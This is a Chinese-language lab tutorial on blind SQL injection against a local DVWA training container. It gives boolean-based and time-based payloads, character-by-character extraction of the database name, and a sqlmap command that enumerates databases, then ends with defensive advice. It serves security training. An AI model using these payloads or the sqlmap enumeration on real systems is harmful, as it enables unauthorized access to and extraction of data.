一、🧠 什么是 SQL 盲注?
SQL 盲注(Blind SQL Injection) 是指 页面没有显示明显的报错或数据返回,但仍然可以通过一些技巧 推断出数据库中的信息。
常见的盲注类型有两种:
- 布尔型盲注(Boolean-based Blind):页面根据条件判断是否显示不同内容。
- 时间型盲注(Time-based Blind):页面根据条件判断是否延迟响应。
✅ 环境准备
1.拉取 DVWA 镜像并运行:docker run --rm -it -p 8080:80 vulnerables/web-dvwa
打开浏览器访问:
http://localhost:8080
2.默认登录账号:
- 用户名:admin
- 密码:password
3.设置数据库(第一次登录会提示):
点击左侧的 “DVWA Setup”(或顶部菜单),然后点击页面中的 “Create / Reset Database” 按钮。
4.成功后返回 DVWA 首页。
5.在 DVWA 中选择了 SQL Injection (Blind) 模块。
你访问的 URL 结构类似:
http://localhost/vulnerabilities/sqli_blind/?id=1&Submit=Submit
二、🧪 初级布尔型盲注练习
🎯 目标:判断是否可以控制 SQL 语句
测试 1:恒为真的条件
1' AND 1=1 --
✅ 页面应显示:User ID exists in the database.
测试 2:恒为假的条件
1' AND 1=2 --
❌ 页面应显示:User ID is MISSING from the database.
🔍 如果你能通过页面的不同响应判断 true/false,那说明布尔盲注是可行的。
三、🧪 中级练习:猜数据库名称长度
1' AND LENGTH(database())=4 --
观察页面返回:如果返回 “存在”,说明数据库名长度是 4。否则你换成 5、6、3 、去试。
四、🧪 高级练习:逐字符猜数据库名
1' AND SUBSTRING(database(),1,1)='d' --
然后依次替换字符:
1' AND SUBSTRING(database(),1,1)='a' --
1' AND SUBSTRING(database(),1,1)='b' --
...
直到页面显示“User ID exists”,说明猜对了第一个字符。
继续 SUBSTRING(database(),2,1),即可推完整名。
五、🕓 时间盲注测试(可选)
1' AND IF(1=1, SLEEP(5), 0) --
页面会延迟 5 秒再返回。
1' AND IF(1=2, SLEEP(5), 0) --
页面立即返回(说明条件为假)。
六、❓是否需要自动化工具?
可以使用 sqlmap(测试id参数是否存在布尔型盲注漏洞,如果发现注入点,将尝试列出服务器上的所有数据库):
sqlmap -u "http://localhost/vulnerabilities/sqli_blind/?id=1&Submit=Submit" \
--cookie="security=low; PHPSESSID=你的Session" \
--technique=B --dbs
七、🔐如何防御 SQL 盲注?
- 使用参数化查询(PreparedStatement)
- 对用户输入严格过滤、校验类型
- 最小权限原则,限制数据库账户权限
- WAF 检测 SQL 注入行为